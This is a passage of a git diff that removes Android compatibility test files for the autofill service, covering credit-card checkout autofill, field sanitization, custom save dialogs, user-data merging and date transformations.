-        boolean called = mBuyLatch.await(BUY_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for buy action", BUY_TIMEOUT_MS)
-                .that(called).isTrue();
-    }
-
-    EditText getCcNumber() {
-        return mCcNumber;
-    }
-
-    Spinner getCcExpiration() {
-        return mCcExpiration;
-    }
-
-    ArrayAdapter<CharSequence> getCcExpirationAdapter() {
-        return mCcExpirationAdapter;
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final OneTimeTextWatcher ccNumberWatcher;
-        private final OneTimeSpinnerListener ccExpirationListener;
-        private final OneTimeRadioGroupListener addressListener;
-        private final OneTimeCompoundButtonListener saveCcListener;
-
-        private FillExpectation(String ccNumber, int ccExpirationIndex, int addressId,
-                boolean saveCc) {
-            this.ccNumberWatcher = new OneTimeTextWatcher("ccNumber", mCcNumber, ccNumber);
-            this.ccExpirationListener =
-                    new OneTimeSpinnerListener("ccExpiration", mCcExpiration, ccExpirationIndex);
-            addressListener = new OneTimeRadioGroupListener("address", mAddress, addressId);
-            saveCcListener = new OneTimeCompoundButtonListener("saveCc", mSaveCc, saveCc);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
deleted file mode 100644
index 3d995b9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ /dev/null
@@ -1,404 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CheckoutActivity.ID_ADDRESS;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_EXPIRATION;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
-import static android.autofillservice.cts.CheckoutActivity.ID_HOME_ADDRESS;
-import static android.autofillservice.cts.CheckoutActivity.ID_SAVE_CC;
-import static android.autofillservice.cts.CheckoutActivity.ID_WORK_ADDRESS;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_ADDRESS_WORK;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_NEVER;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_TODAY;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_TOMORROW;
-import static android.autofillservice.cts.Helper.assertListValue;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertToggleIsSanitized;
-import static android.autofillservice.cts.Helper.assertToggleValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
-import static android.view.View.AUTOFILL_TYPE_LIST;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.FillContext;
-import android.service.autofill.ImageTransformation;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.view.autofill.AutofillId;
-import android.widget.ArrayAdapter;
-import android.widget.RemoteViews;
-import android.widget.Spinner;
-
-import org.junit.Test;
-
-import java.util.Arrays;
-import java.util.regex.Pattern;
-
-/**
- * Test case for an activity containing non-TextField views.
- */
-public class CheckoutActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<CheckoutActivity> {
-
-    private CheckoutActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<CheckoutActivity> getActivityRule() {
-        return new AutofillActivityTestRule<CheckoutActivity>(CheckoutActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testAutofill() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setPresentation(createPresentation("ACME CC"))
-                .setField(ID_CC_NUMBER, "4815162342")
-                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
-                .setField(ID_ADDRESS, 1)
-                .setField(ID_SAVE_CC, true)
-                .build());
-        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
-                true);
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of Spinner field.
-        final ViewNode ccExpirationNode =
-                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
-        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
-        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
-        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNotNull();
-        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
-                .containsExactly((Object [])
-                        getContext().getResources().getStringArray(R.array.cc_expiration_values))
-                .inOrder();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("ACME CC");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofill() is enough")
-    public void testAutofillDynamicAdapter() throws Exception {
-        // Set activity.
-        mActivity.onCcExpiration((v) -> v.setAdapter(new ArrayAdapter<String>(getContext(),
-                android.R.layout.simple_spinner_item,
-                Arrays.asList("YESTERDAY", "TODAY", "TOMORROW", "NEVER"))));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setPresentation(createPresentation("ACME CC"))
-                .setField(ID_CC_NUMBER, "4815162342")
-                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
-                .setField(ID_ADDRESS, 1)
-                .setField(ID_SAVE_CC, true)
-                .build());
-        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
-                true);
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of Spinner field.
-        final ViewNode ccExpirationNode =
-                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
-        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
-        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
-        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNull();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("ACME CC");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    // TODO: this should be a pure unit test exercising onProvideAutofillStructure(),
-    // but that would require creating a custom ViewStructure.
-    @Test
-    @AppModeFull(reason = "Unit test")
-    public void testGetAutofillOptionsSorted() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set activity.
-        mActivity.onCcExpirationAdapter((adapter) -> adapter.sort((a, b) -> {
-            return ((String) a).compareTo((String) b);
-        }));
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setPresentation(createPresentation("ACME CC"))
-                .setField(ID_CC_NUMBER, "4815162342")
-                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
-                .setField(ID_ADDRESS, 1)
-                .setField(ID_SAVE_CC, true)
-                .build());
-        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
-                true);
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of Spinner field.
-        final ViewNode ccExpirationNode =
-                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
-        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
-        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
-        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
-                .containsExactly("never", "today", "tomorrow", "yesterday").inOrder();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("ACME CC");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testSanitization() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD,
-                        ID_CC_NUMBER, ID_CC_EXPIRATION, ID_ADDRESS, ID_SAVE_CC)
-                .build());
-
-        // Dynamically change view contents
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
-        mActivity.onHomeAddress((v) -> v.setChecked(true));
-        mActivity.onSaveCc((v) -> v.setChecked(true));
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-
-        // Assert sanitization on fill request: everything should be sanitized!
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        assertTextIsSanitized(fillRequest.structure, ID_CC_NUMBER);
-        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-        assertToggleIsSanitized(fillRequest.structure, ID_HOME_ADDRESS);
-        assertToggleIsSanitized(fillRequest.structure, ID_SAVE_CC);
-
-        // Trigger save.
-        mActivity.onCcNumber((v) -> v.setText("4815162342"));
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
-        mActivity.onAddress((v) -> v.check(R.id.work_address));
-        mActivity.onSaveCc((v) -> v.setChecked(false));
-        mActivity.tapBuy();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_CREDIT_CARD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Assert sanitization on save: everything should be available!
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CC_NUMBER), "4815162342");
-        assertListValue(findNodeByResourceId(saveRequest.structure, ID_CC_EXPIRATION),
-                INDEX_CC_EXPIRATION_TODAY);
-        assertListValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS),
-                INDEX_ADDRESS_WORK);
-        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_HOME_ADDRESS), false);
-        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_WORK_ADDRESS), true);
-        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testCustomizedSaveUi() throws Exception {
-        customizedSaveUi(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testCustomizedSaveUiWithContentDescription() throws Exception {
-        customizedSaveUi(true);
-    }
-
-    /**
-     * Tests that a spinner can be used on custom save descriptions.
-     */
-    private void customizedSaveUi(boolean withContentDescription) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final String packageName = getContext().getPackageName();
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final RemoteViews presentation = new RemoteViews(packageName,
-                            R.layout.two_horizontal_text_fields);
-                    final FillContext context = contexts.get(0);
-                    final AutofillId ccNumberId = findAutofillIdByResourceId(context,
-                            ID_CC_NUMBER);
-                    final AutofillId ccExpirationId = findAutofillIdByResourceId(context,
-                            ID_CC_EXPIRATION);
-                    final CharSequenceTransformation trans1 = new CharSequenceTransformation
-                            .Builder(ccNumberId, Pattern.compile("(.*)"), "$1")
-                            .build();
-                    final CharSequenceTransformation trans2 = new CharSequenceTransformation
-                            .Builder(ccExpirationId, Pattern.compile("(.*)"), "$1")
-                            .build();
-                    final ImageTransformation trans3 = (withContentDescription
-                            ? new ImageTransformation.Builder(ccNumberId,
-                                    Pattern.compile("(.*)"), R.drawable.android,
-                                    "One image is worth thousand words")
-                            : new ImageTransformation.Builder(ccNumberId,
-                                    Pattern.compile("(.*)"), R.drawable.android))
-                            .build();
-
-                    final CustomDescription customDescription =
-                            new CustomDescription.Builder(presentation)
-                            .addChild(R.id.first, trans1)
-                            .addChild(R.id.second, trans2)
-                            .addChild(R.id.img, trans3)
-                            .build();
-                    builder.setCustomDescription(customDescription);
-                })
-                .build());
-
-        // Dynamically change view contents
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onCcNumber((v) -> v.setText("4815162342"));
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
-        mActivity.tapBuy();
-
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
-
-        // Then make sure it does have the custom views on it...
-        final UiObject2 staticText = saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT));
-        assertThat(staticText).isNotNull();
-        assertThat(staticText.getText()).isEqualTo("YO:");
-
-        final UiObject2 number = saveUi.findObject(By.res(packageName, "first"));
-        assertThat(number).isNotNull();
-        assertThat(number.getText()).isEqualTo("4815162342");
-
-        final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
-        assertThat(expiration).isNotNull();
-        assertThat(expiration.getText()).isEqualTo("today");
-
-        final UiObject2 image = saveUi.findObject(By.res(packageName, "img"));
-        assertThat(image).isNotNull();
-        final String contentDescription = image.getContentDescription();
-        if (withContentDescription) {
-            assertThat(contentDescription).isEqualTo("One image is worth thousand words");
-        } else {
-            assertThat(contentDescription).isNull();
-        }
-    }
-
-    /**
-     * Tests that a custom save description is ignored when the selected spinner element is not
-     * available in the autofill options.
-     */
-    @Test
-    public void testCustomizedSaveUiWhenListResolutionFails() throws Exception {
-        // Set service.
-        enableService();
-
-        // Change spinner to return just one item so the transformation throws an exception when
-        // fetching it.
-        mActivity.getCcExpirationAdapter().setAutofillOptions("D'OH!");
-
-        // Set expectations.
-        final String packageName = getContext().getPackageName();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId ccNumberId = findAutofillIdByResourceId(context,
-                            ID_CC_NUMBER);
-                    final AutofillId ccExpirationId = findAutofillIdByResourceId(context,
-                            ID_CC_EXPIRATION);
-                    final RemoteViews presentation = new RemoteViews(packageName,
-                            R.layout.two_horizontal_text_fields);
-                    final CharSequenceTransformation trans1 = new CharSequenceTransformation
-                            .Builder(ccNumberId, Pattern.compile("(.*)"), "$1")
-                            .build();
-                    final CharSequenceTransformation trans2 = new CharSequenceTransformation
-                            .Builder(ccExpirationId, Pattern.compile("(.*)"), "$1")
-                            .build();
-                    final CustomDescription customDescription =
-                            new CustomDescription.Builder(presentation)
-                            .addChild(R.id.first, trans1)
-                            .addChild(R.id.second, trans2)
-                            .build();
-                    builder.setCustomDescription(customDescription);
-                })
-                .build());
-
-        // Dynamically change view contents
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onCcNumber((v) -> v.setText("4815162342"));
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
-        mActivity.tapBuy();
-
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
-
-        // Then make sure it does not have the custom views on it...
-        assertThat(saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT))).isNull();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CompositeUserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/CompositeUserDataTest.java
deleted file mode 100644
index a00e0d3..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CompositeUserDataTest.java
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CompositeUserData;
-import android.service.autofill.UserData;
-import android.util.ArrayMap;
-
-import com.google.common.base.Strings;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class CompositeUserDataTest {
-
-    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
-    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
-            + Strings.repeat("?", UserData.getMaxValueLength());
-    private final String mId = "4815162342";
-    private final String mId2 = "4815162343";
-    private final String mCategoryId = "id1";
-    private final String mCategoryId2 = "id2";
-    private final String mCategoryId3 = "id3";
-    private final String mValue = mShortValue + "-1";
-    private final String mValue2 = mShortValue + "-2";
-    private final String mValue3 = mShortValue + "-3";
-    private final String mValue4 = mShortValue + "-4";
-    private final String mValue5 = mShortValue + "-5";
-    private final String mAlgo = "algo";
-    private final String mAlgo2 = "algo2";
-    private final String mAlgo3 = "algo3";
-    private final String mAlgo4 = "algo4";
-
-    private final UserData mEmptyGenericUserData = new UserData.Builder(mId, mValue, mCategoryId)
-            .build();
-    private final UserData mLoadedGenericUserData = new UserData.Builder(mId, mValue, mCategoryId)
-            .add(mValue2, mCategoryId2)
-            .setFieldClassificationAlgorithm(mAlgo, createBundle(false))
-            .setFieldClassificationAlgorithmForCategory(mCategoryId2, mAlgo2, createBundle(false))
-            .build();
-    private final UserData mEmptyPackageUserData = new UserData.Builder(mId2, mValue3, mCategoryId3)
-            .build();
-    private final UserData mLoadedPackageUserData = new UserData
-            .Builder(mId2, mValue3, mCategoryId3)
-            .add(mValue4, mCategoryId2)
-            .setFieldClassificationAlgorithm(mAlgo3, createBundle(true))
-            .setFieldClassificationAlgorithmForCategory(mCategoryId2, mAlgo4, createBundle(true))
-            .build();
-
-
-    @Test
-    public void testMergeInvalid_bothNull() {
-        assertThrows(NullPointerException.class, () -> new CompositeUserData(null, null));
-    }
-
-    @Test
-    public void testMergeInvalid_nullPackageUserData() {
-        assertThrows(NullPointerException.class,
-                () -> new CompositeUserData(mEmptyGenericUserData, null));
-    }
-
-    @Test
-    public void testMerge_nullGenericUserData() {
-        final CompositeUserData userData = new CompositeUserData(null, mEmptyPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(1);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(1);
-        assertThat(values[0]).isEqualTo(mValue3);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
-        assertThat(userData.getDefaultFieldClassificationArgs()).isNull();
-    }
-
-    @Test
-    public void testMerge_bothEmpty() {
-        final CompositeUserData userData = new CompositeUserData(mEmptyGenericUserData,
-                mEmptyPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(2);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-        assertThat(categoryIds[1]).isEqualTo(mCategoryId);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(2);
-        assertThat(values[0]).isEqualTo(mValue3);
-        assertThat(values[1]).isEqualTo(mValue);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
-        assertThat(userData.getDefaultFieldClassificationArgs()).isNull();
-    }
-
-    @Test
-    public void testMerge_emptyGenericUserData() {
-        final CompositeUserData userData = new CompositeUserData(mEmptyGenericUserData,
-                mLoadedPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(3);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-        assertThat(categoryIds[1]).isEqualTo(mCategoryId2);
-        assertThat(categoryIds[2]).isEqualTo(mCategoryId);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(3);
-        assertThat(values[0]).isEqualTo(mValue3);
-        assertThat(values[1]).isEqualTo(mValue4);
-        assertThat(values[2]).isEqualTo(mValue);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo3);
-
-        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
-        assertThat(defaultArgs).isNotNull();
-        assertThat(defaultArgs.getBoolean("isPackage")).isTrue();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
-                .isEqualTo(mAlgo4);
-
-        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
-        assertThat(args.size()).isEqualTo(1);
-        assertThat(args.containsKey(mCategoryId2)).isTrue();
-        assertThat(args.get(mCategoryId2)).isNotNull();
-        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isTrue();
-    }
-
-    @Test
-    public void testMerge_emptyPackageUserData() {
-        final CompositeUserData userData = new CompositeUserData(mLoadedGenericUserData,
-                mEmptyPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(3);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-        assertThat(categoryIds[1]).isEqualTo(mCategoryId);
-        assertThat(categoryIds[2]).isEqualTo(mCategoryId2);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(3);
-        assertThat(values[0]).isEqualTo(mValue3);
-        assertThat(values[1]).isEqualTo(mValue);
-        assertThat(values[2]).isEqualTo(mValue2);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo);
-
-        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
-        assertThat(defaultArgs).isNotNull();
-        assertThat(defaultArgs.getBoolean("isPackage")).isFalse();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
-                .isEqualTo(mAlgo2);
-
-        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
-        assertThat(args.size()).isEqualTo(1);
-        assertThat(args.containsKey(mCategoryId2)).isTrue();
-        assertThat(args.get(mCategoryId2)).isNotNull();
-        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isFalse();
-    }
-
-
-    @Test
-    public void testMerge_bothHaveData() {
-        final CompositeUserData userData = new CompositeUserData(mLoadedGenericUserData,
-                mLoadedPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(3);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-        assertThat(categoryIds[1]).isEqualTo(mCategoryId2);
-        assertThat(categoryIds[2]).isEqualTo(mCategoryId);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(3);
-        assertThat(values[0]).isEqualTo(mValue3);
-        assertThat(values[1]).isEqualTo(mValue4);
-        assertThat(values[2]).isEqualTo(mValue);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo3);
-        assertThat(userData.getDefaultFieldClassificationArgs()).isNotNull();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
-                .isEqualTo(mAlgo4);
-
-        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
-        assertThat(defaultArgs).isNotNull();
-        assertThat(defaultArgs.getBoolean("isPackage")).isTrue();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
-                .isEqualTo(mAlgo4);
-
-        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
-        assertThat(args.size()).isEqualTo(1);
-        assertThat(args.containsKey(mCategoryId2)).isTrue();
-        assertThat(args.get(mCategoryId2)).isNotNull();
-        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isTrue();
-    }
-
-    private Bundle createBundle(Boolean isPackageBundle) {
-        final Bundle bundle = new Bundle();
-        bundle.putBoolean("isPackage", isPackageBundle);
-        return bundle;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionDateTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionDateTest.java
deleted file mode 100644
index ad89227..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionDateTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AbstractDatePickerActivity.ID_DATE_PICKER;
-import static android.autofillservice.cts.AbstractDatePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.icu.text.SimpleDateFormat;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.DateTransformation;
-import android.service.autofill.DateValueSanitizer;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import org.junit.Test;
-
-import java.util.Calendar;
-
-@AppModeFull(reason = "Service-specific test")
-public class CustomDescriptionDateTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<DatePickerSpinnerActivity> {
-
-    private DatePickerSpinnerActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<DatePickerSpinnerActivity> getActivityRule() {
-        return new AutofillActivityTestRule<DatePickerSpinnerActivity>(
-                DatePickerSpinnerActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testCustomSave() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0),
-                            ID_DATE_PICKER);
-                    builder.setCustomDescription(new CustomDescription
-                            .Builder(newTemplate(R.layout.two_horizontal_text_fields))
-                            .addChild(R.id.first,
-                                    new DateTransformation(id, new SimpleDateFormat("MM/yyyy")))
-                            .addChild(R.id.second,
-                                    new DateTransformation(id, new SimpleDateFormat("MM-yy")))
-                            .build());
-                })
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onOutput((v) -> v.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Autofill it.
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save.
-        mActivity.setDate(2010, Calendar.DECEMBER, 12);
-        mActivity.tapOk();
-
-        // First, make sure the UI is shown...
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Then, make sure it does have the custom view on it...
-        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
-        assertThat(staticText).isNotNull();
-        assertThat(staticText.getText()).isEqualTo("YO:");
-
-        // Finally, assert the custom lines are shown
-        mUiBot.assertChild(saveUi, "first", (o) -> assertThat(o.getText()).isEqualTo("12/2010"));
-        mUiBot.assertChild(saveUi, "second", (o) -> assertThat(o.getText()).isEqualTo("12-10"));
-    }
-
